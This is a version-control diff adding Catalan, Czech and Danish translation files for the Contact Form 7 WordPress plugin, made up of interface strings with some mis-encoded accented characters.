+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ca_ES.po	(revision 44)
@@ -0,0 +1,165 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-09-10 18:53+0100\n"
+"Last-Translator: QA Solutions.NET <qasolutions.js@gmail.com>\n"
+"Language-Team: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:128
+#: contact-form-7/wp-contact-form-7.php:201
+msgid "Contact form"
+msgstr "Formulari de contacte"
+
+#: contact-form-7/wp-contact-form-7.php:157
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:177
+#, php-format
+msgid "Contact form \"%s\" deleted. "
+msgstr "Formulari de contacte \"%s\" esborrat. "
+
+#: contact-form-7/wp-contact-form-7.php:193
+#, php-format
+msgid "Contact form \"%s\" saved. "
+msgstr "Formulari de contacte \"%s\" guardat. "
+
+#: contact-form-7/wp-contact-form-7.php:222
+msgid "Your Name"
+msgstr "El teu nom"
+
+#: contact-form-7/wp-contact-form-7.php:222
+#: contact-form-7/wp-contact-form-7.php:224
+msgid "(required)"
+msgstr "(necesari)"
+
+#: contact-form-7/wp-contact-form-7.php:224
+msgid "Your Email"
+msgstr "El teu email"
+
+#: contact-form-7/wp-contact-form-7.php:226
+msgid "Subject"
+msgstr "Assumpte"
+
+#: contact-form-7/wp-contact-form-7.php:228
+msgid "Your Message"
+msgstr "El teu missatge"
+
+#: contact-form-7/wp-contact-form-7.php:230
+#: contact-form-7/wp-contact-form-7.php:593
+msgid "Send"
+msgstr "Enviar"
+
+#: contact-form-7/wp-contact-form-7.php:249
+msgid "Your message was sent successfully. Thanks."
+msgstr "El teu missatge s'ha enviat correctament. MercÃ©s"
+
+#: contact-form-7/wp-contact-form-7.php:251
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Error en enviar el missatge. Si us plau prova-ho mÃ©s tard o contacta amb l'administrador d'un altra manera"
+
+#: contact-form-7/wp-contact-form-7.php:324
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Errors de validaciÃ³. Si us plau confirma els camps i envia el formulari un altre cop"
+
+#: contact-form-7/wp-contact-form-7.php:351
+#: contact-form-7/wp-contact-form-7.php:358
+#: contact-form-7/wp-contact-form-7.php:409
+msgid "Please fill the required field."
+msgstr "Si us plau omple els camps necesaris"
+
+#: contact-form-7/wp-contact-form-7.php:361
+#: contact-form-7/wp-contact-form-7.php:402
+msgid "Email address seems invalid."
+msgstr "l'adreÃ§a d'email sembla incorrecte"
+
+#: contact-form-7/includes/admin-panel.php:19
+#: contact-form-7/includes/admin-panel.php:22
+msgid "Add new"
+msgstr "Afegir un nou"
+
+#: contact-form-7/includes/admin-panel.php:34
+msgid "Title"
+msgstr "TÃ­tol"
+
+#: contact-form-7/includes/admin-panel.php:39
+msgid "Copy and paste this code into your post content."
+msgstr "Copia i pegar aques codi en el contingut de la teva entrada"
+
+#: contact-form-7/includes/admin-panel.php:45
+msgid "Form content"
+msgstr "Contingut del formulari"
+
+#: contact-form-7/includes/admin-panel.php:58
+msgid "Mail template"
+msgstr "Plantilla d'email"
+
+#: contact-form-7/includes/admin-panel.php:59
+msgid "Subject field:"
+msgstr "Camp d'assumpte:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Sender field:"
+msgstr "Camp de remitent:"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Message body:"
+msgstr "Cos del missatge:"
+
+#: contact-form-7/includes/admin-panel.php:67
+msgid "Options"
+msgstr "Opcions"
+
+#: contact-form-7/includes/admin-panel.php:68
+msgid "Recipient address:"
+msgstr "AdreÃ§a del destinatari:"
+
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Save"
+msgstr "Guardar"
+
+#: contact-form-7/includes/admin-panel.php:80
+msgid "Delete this contact form"
+msgstr "Esborar aquest formulari de contacte"
+
+#: contact-form-7/includes/admin-panel.php:81
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"El formulari de contacte serÃ  esborrat.\n"
+"  'CancelÂ·lar' per anular, 'OK' per confirmar."
+
+#: contact-form-7/includes/admin-panel.php:137
+#: contact-form-7/includes/admin-panel.php:148
+msgid "Default value"
+msgstr "Valor per defecte"
+
+#: contact-form-7/includes/admin-panel.php:156
+msgid "Choices"
+msgstr "Opcions"
+
+#: contact-form-7/includes/admin-panel.php:157
+msgid "* One choice per line."
+msgstr "* Una opciÃ³ per lÃ­nia"
+
+#: contact-form-7/includes/admin-panel.php:162
+msgid "Label"
+msgstr "Etiqueta"
+
+#: contact-form-7/includes/admin-panel.php:169
+msgid "Insert"
+msgstr "Inserir "
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-cs_CZ.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-cs_CZ.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-cs_CZ.po	(revision 44)
@@ -0,0 +1,272 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-12-08 19:18+0100\n"
+"Last-Translator: Korry <pindiky@seznam.cz>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: contact-form-7/wp-contact-form-7.php:251
+msgid "Contact form"
+msgstr "KontaktnÃ­ formulÃ¡Å"
+
+#: contact-form-7/wp-contact-form-7.php:336
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:352
+msgid "optional"
+msgstr "doporuÄeno"
+
+#: contact-form-7/wp-contact-form-7.php:353
+msgid "Generate Tag"
+msgstr "Generuj Tag"
+
+#: contact-form-7/wp-contact-form-7.php:354
+msgid "Text field"
+msgstr "Text field"
+
+#: contact-form-7/wp-contact-form-7.php:355
+msgid "Email field"
+msgstr "Email"
+
+#: contact-form-7/wp-contact-form-7.php:356
+msgid "Text area"
+msgstr "Text area"
+
+#: contact-form-7/wp-contact-form-7.php:357
+msgid "Drop-down menu"
+msgstr "RozbalovacÃ­ menu"
+
+#: contact-form-7/wp-contact-form-7.php:358
+msgid "Checkboxes"
+msgstr "Checkboxes"
+
+#: contact-form-7/wp-contact-form-7.php:359
+msgid "Radio buttons"
+msgstr "Radio buttons"
+
+#: contact-form-7/wp-contact-form-7.php:360
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:361
+msgid "Submit button"
+msgstr "PotvrzovacÃ­ tlaÄÃ­tko"
+
+#: contact-form-7/wp-contact-form-7.php:362
+msgid "Name"
+msgstr "JmÃ©no"
+
+#: contact-form-7/wp-contact-form-7.php:363
+msgid "Required field?"
+msgstr "VyÅŸadovanÃ© pole?"
+
+#: contact-form-7/wp-contact-form-7.php:364
+msgid "Allows multiple selections?"
+msgstr "Povolit vÃ­cenÃ¡sobnÃœ vÃœbÄr?"
+
+#: contact-form-7/wp-contact-form-7.php:365
+msgid "Choices"
+msgstr "MoÅŸnosti"
+
+#: contact-form-7/wp-contact-form-7.php:366
+msgid "Label"
+msgstr "Popis"
+
+#: contact-form-7/wp-contact-form-7.php:367
+msgid "Default value"
+msgstr "VÃœchozÃ­ hodnota"
+
+#: contact-form-7/wp-contact-form-7.php:368
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:369
+msgid "This field requires author's name"
+msgstr "Toto pole musÃ­ obsahovat jmÃ©no autora"
+
+#: contact-form-7/wp-contact-form-7.php:370
+msgid "This field requires author's URL"
+msgstr "Toto pole musÃ­ obsahovat URL autora"
+
+#: contact-form-7/wp-contact-form-7.php:371
+msgid "This field requires author's email address"
+msgstr "Toto pole musÃ­ obsahovat autorÅ¯v e-mail"
+
+#: contact-form-7/wp-contact-form-7.php:372
+msgid "Copy and paste this code into the form"
+msgstr "ZkopÃ­rujte tento kÃ³d a vloÅŸte jej do formulÃ¡Åe"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Foreground color"
+msgstr "Barva pÃ­sma"
+
+#: contact-form-7/wp-contact-form-7.php:374
+msgid "Background color"
+msgstr "Barva pozadÃ­"
+
+#: contact-form-7/wp-contact-form-7.php:375
+msgid "Image size"
+msgstr "Velikost obrÃ¡zku"
+
+#: contact-form-7/wp-contact-form-7.php:376
+msgid "Small"
+msgstr "MalÃœ"
+
+#: contact-form-7/wp-contact-form-7.php:377
+msgid "Medium"
+msgstr "StÅednÃ­"
+
+#: contact-form-7/wp-contact-form-7.php:378
+msgid "Large"
+msgstr "VelkÃœ"
+
+#: contact-form-7/wp-contact-form-7.php:379
+msgid "Image settings"
+msgstr "NastavenÃ­ obrÃ¡zku"
+
+#: contact-form-7/wp-contact-form-7.php:380
+msgid "Input field settings"
+msgstr "Parametry vstupnÃ­ho pole"
+
+#: contact-form-7/wp-contact-form-7.php:381
+msgid "For image"
+msgstr "For image"
+
+#: contact-form-7/wp-contact-form-7.php:382
+msgid "For input field"
+msgstr "Pro vstupnÃ­ pole"
+
+#: contact-form-7/wp-contact-form-7.php:383
+msgid "* One choice per line."
+msgstr "* Jedna moÅŸnost na ÅÃ¡dku"
+
+#: contact-form-7/wp-contact-form-7.php:402
+msgid "Contact form created."
+msgstr "FormulÃ¡Å vytvoÅen"
+
+#: contact-form-7/wp-contact-form-7.php:405
+msgid "Contact form saved."
+msgstr "FormulÃ¡Å uloÅŸen"
+
+#: contact-form-7/wp-contact-form-7.php:408
+msgid "Contact form deleted."
+msgstr "Contact form deleted"
+
+#: contact-form-7/wp-contact-form-7.php:415
+msgid "Untitled"
+msgstr "Untitled"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Your Name"
+msgstr "VaÅ¡e jmÃ©no"
+
+#: contact-form-7/wp-contact-form-7.php:439
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "(required)"
+msgstr "(vyÅŸadovÃ¡no)"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Your Email"
+msgstr "VÃ¡Å¡ Email"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "Subject"
+msgstr "PÅedmÄt zprÃ¡vy"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Your Message"
+msgstr "VaÅ¡e zprÃ¡va"
+
+#: contact-form-7/wp-contact-form-7.php:447
+#: contact-form-7/wp-contact-form-7.php:891
+msgid "Send"
+msgstr "Odeslat"
+
+#: contact-form-7/wp-contact-form-7.php:476
+msgid "Your message was sent successfully. Thanks."
+msgstr "VaÅ¡e zprÃ¡va byla ÃºspÄÅ¡nÄ odeslÃ¡na. DÄkujeme."
+
+#: contact-form-7/wp-contact-form-7.php:478
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "NepodaÅilo se odeslat zprÃ¡vu. Opakujte pozdÄji, nebo kontaktujte administÃ¡tora."
+
+#: contact-form-7/wp-contact-form-7.php:480
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Chyba v ovÄÅenÃ­. Zkontrolujte prosÃ­m vÅ¡echna povinnÃ¡ pole."
+
+#: contact-form-7/wp-contact-form-7.php:482
+msgid "Email address seems invalid."
+msgstr "EmailovÃ¡ adresa nenÃ­ v platnÃ©m tvaru."
+
+#: contact-form-7/wp-contact-form-7.php:484
+msgid "Please fill the required field."
+msgstr "VyplÅte prosÃ­m povinnÃ¡ pole."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Your entered code is incorrect."
+msgstr "VloÅŸenÃœ ovÄÅovacÃ­ kÃ³d nenÃ­ sprÃ¡vnÄ."
+
+#: contact-form-7/includes/admin-panel.php:15
+msgid "Add new"
+msgstr "PÅidej novÃœ"
+
+#: contact-form-7/includes/admin-panel.php:28
+msgid "Copy and paste this code into your post content."
+msgstr "ZkopÃ­rujte tento kÃ³d a vloÅŸte jej do ÄlÃ¡nku."
+
+#: contact-form-7/includes/admin-panel.php:33
+msgid "Form"
+msgstr "FormulÃ¡Å"
+
+#: contact-form-7/includes/admin-panel.php:37
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/includes/admin-panel.php:39
+#: contact-form-7/includes/admin-panel.php:60
+msgid "To:"
+msgstr "Komu:"
+
+#: contact-form-7/includes/admin-panel.php:43
+#: contact-form-7/includes/admin-panel.php:64
+msgid "From:"
+msgstr "Od:"
+
+#: contact-form-7/includes/admin-panel.php:47
+#: contact-form-7/includes/admin-panel.php:68
+msgid "Subject:"
+msgstr "PÅedmÄt:"
+
+#: contact-form-7/includes/admin-panel.php:51
+#: contact-form-7/includes/admin-panel.php:72
+msgid "Message body:"
+msgstr "ZprÃ¡va:"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:58
+msgid "Use mail (2)"
+msgstr "Use mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:80
+msgid "Save"
+msgstr "UloÅŸit"
+
+#: contact-form-7/includes/admin-panel.php:86
+msgid "Delete this contact form"
+msgstr "SmaÅŸ tento formulÃ¡Å."
+
+#: contact-form-7/includes/admin-panel.php:87
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "Chcete smazat tento formulÃ¡Å?"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-da_DK.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-da_DK.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-da_DK.po	(revision 44)
@@ -0,0 +1,504 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7 version 2.0.1\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-01 09:07+0100\n"
+"PO-Revision-Date: 2009-08-01 09:08+0100\n"
+"Last-Translator: Team Blogos <wordpress@blogos.dk>\n"
+"Language-Team: Team Blogos <wordpress@blogos.dk>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;_c;__ngettext:1,2;__ngettext_noop:1,2;_n;_nc;_n_noop\n"
+"X-Poedit-Basepath: d:\\wordpress\\plugins\\contact-form-7\n"
+"X-Poedit-Language: Danish\n"
+"X-Poedit-Country: DENMARK\n"
+"Plural-Forms: nplurals=2;plural=n != 1;\n"
+"X-Poedit-SearchPath-0: d:\\wordpress\\plugins\\contact-form-7\n"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr "<strong>Contact Form 7's databasetabel findes ikke.</strong> Du skal <a href=\"%s\">oprette tabellen</a>, hvis programmet skal fungere."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr "<strong>Contact Form 7's databasetabel findes ikke.</strong>"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:17
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:30
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:118
+msgid "Contact Form 7"
+msgstr "Kontaktformular 7"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr "TilfÃžj ny"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopier og indsÃŠt denne kode i dit indlÃŠg, side eller indholdet i en tekst-widget."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:75
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:327
+msgid "Save"
+msgstr "Gem"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr "KopiÃ©r"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr "Slet"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:89
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Du er ved at slette din kontakt formular.\n"
+"Tryk 'AnnullÃ©r' for at stoppe, 'OK' for at slette."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr "Formular"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr "E-mail"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:127
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr "Til:"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:132
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr "Fra:"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:137
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr "Emne:"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:144
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr "Yderligere headers:"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:149
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr "FilvedhÃŠftninger:"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:157
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr "Brug HTML til indholdet"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:164
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr "Besked:"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr "Email (2)"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr "Brug email (2)"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr "Beskeder"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr "Afsenders besked blev sendt"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr "Det mislykkedes at sende afsenders besked"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet bedÃžmte afsendelsen som forsÃžg pÃ¥ at spamme"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr "Der forekom valideringsfejl"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr "Der er et felt, som afsender skal udfylde"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr "E-mail-adressen, som afsender indtastede, er ugyldig"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Der er et felt med betingelser, som afsender skal acceptere"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Afsender indtastede ikke det rigtige svar pÃ¥ quizzen"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Svaret, som afsender indtastede, matcher ikke CAPTCHA-kontrollen"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr "Uploadning af en fil mislykkedes af en eller anden grund"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr "Uploadet fil har ikke en tilladt filtype"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr "Uploadet fil er for stor"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin-panel.php:309
+msgid "Additional Settings"
+msgstr "Yderligere indstillinger"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:118
+msgid "Contact"
+msgstr "Kontakt"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:121
+msgid "Edit Contact Forms"
+msgstr "RedigÃ©r Kontaktformular 7"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:121
+msgid "Edit"
+msgstr "RedigÃ©r"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:168
+msgid "optional"
+msgstr "valgfrit"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:169
+msgid "Generate Tag"
+msgstr "Lav mÃŠrke"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:170
+msgid "Text field"
+msgstr "Tekstfelt"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:171
+msgid "Email field"
+msgstr "E-mail-felt"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:172
+msgid "Text area"
+msgstr "Tekstboks"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:173
+msgid "Drop-down menu"
+msgstr "Drop-down menu"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:174
+msgid "Checkboxes"
+msgstr "Afkrydsningsfelt"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:175
+msgid "Radio buttons"
+msgstr "Radioknapper"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:176
+msgid "Acceptance"
+msgstr "Accept"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:177
+msgid "Make this checkbox checked by default?"
+msgstr "Skal afkrydsningsfeltet vÃŠre markeret som standard?"
+
+# tjekkes
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:178
+msgid "Make this checkbox work inversely?"
+msgstr "Skal afkrydsningsfeltet virke omvendt?"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:179
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Det betyder, at en besÃžgende, som accepterer betingelserne, afmarkerer det."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:180
+msgid "CAPTCHA"
+msgstr "CAPTCHA-kontrol"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:181
+msgid "Quiz"
+msgstr "Quiz"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:182
+msgid "Quizzes"
+msgstr "Quizzer"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:183
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "' quiz|svar (f.eks. 1+1=?|2)"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:184
+msgid "File upload"
+msgstr "Filupload"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:185
+msgid "bytes"
+msgstr "bytes"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:186
+msgid "Submit button"
+msgstr "Send-knap"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:187
+msgid "Name"
+msgstr "Navn"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:188
+msgid "Required field?"
+msgstr "PÃ¥krÃŠvet felt?"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:189
+msgid "Allow multiple selections?"
+msgstr "Tillad flere valg?"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:190
+msgid "Insert a blank item as the first option?"
+msgstr "IndsÃŠt et tomt punkt som fÃžrste valgmulighed?"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:191
+msgid "Make checkboxes exclusive?"
+msgstr "Skal afkrydsningsfelter vÃŠre eksklusive? (altsÃ¥ sÃ¥ der kun kan vÃŠlges Ã©n?)"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:192
+msgid "Choices"
+msgstr "Valg"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:193
+msgid "Label"
+msgstr "Tekst pÃ¥ knap"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:194
+msgid "Default value"
+msgstr "StandardvÃŠrdi"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:195
+msgid "Akismet"
+msgstr "Akismet"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:196
+msgid "This field requires author's name"
+msgstr "Dette felt krÃŠver forfatters navn"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:197
+msgid "This field requires author's URL"
+msgstr "Dette felt krÃŠver forfatters URL"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:198
+msgid "This field requires author's email address"
+msgstr "Dette felt krÃŠver forfatters e-mail-adresse"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:199
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopier og indsÃŠt denne kode i formularen til venstre"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:200
+msgid "Foreground color"
+msgstr "Forgrundsfarve"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:201
+msgid "Background color"
+msgstr "Baggrundsfarve"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:202
+msgid "Image size"
+msgstr "BilledstÃžrrelse"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:203
+msgid "Small"
+msgstr "Lille"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:204
+msgid "Medium"
+msgstr "Medium"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:205
+msgid "Large"
+msgstr "Stor"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:206
+msgid "Image settings"
+msgstr "Billedindstillinger"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:207
+msgid "Input field settings"
+msgstr "Indstillinger for feltet"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:208
+msgid "For image"
+msgstr "For billedet"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:209
+msgid "For input field"
+msgstr "For indtastningsfeltet"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:210
+msgid "* One choice per line."
+msgstr "* Et valg per linje."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:211
+msgid "Show"
+msgstr "Vis"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:212
+msgid "Hide"
+msgstr "Skjul"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:213
+msgid "File size limit"
+msgstr "BegrÃŠnsning pÃ¥ filstÃžrrelse"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:214
+msgid "Acceptable file types"
+msgstr "Tilladte filtyper"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:215
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "BemÃŠrk, at du for at bruge CAPTCHA, skal have Really Simple CAPTCHA-pluginnet installeret."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:226
+msgid "Contact form created."
+msgstr "Kontaktformular oprettet."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:229
+msgid "Contact form saved."
+msgstr "Kontaktformular gemt."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:232
+msgid "Contact form deleted."
+msgstr "Kontaktformular slettet."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:235
+msgid "Database table created."
+msgstr "Databasetabel oprettet."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:238
+msgid "Failed to create database table."
+msgstr "Oprettelse af databasetabel mislykkedes."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:311
+msgid "Contact form"
+msgstr "Kontaktformular"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:345
+msgid "Settings"
+msgstr "Indstillinger"
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:366
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Kontaktformular 7 behÃžver din stÃžtte. Send en gave i dag."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:367
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Kan du bruge dette plugin? Hvis du kan lide det, sÃ¥ hjÃŠlp udvikleren."
+
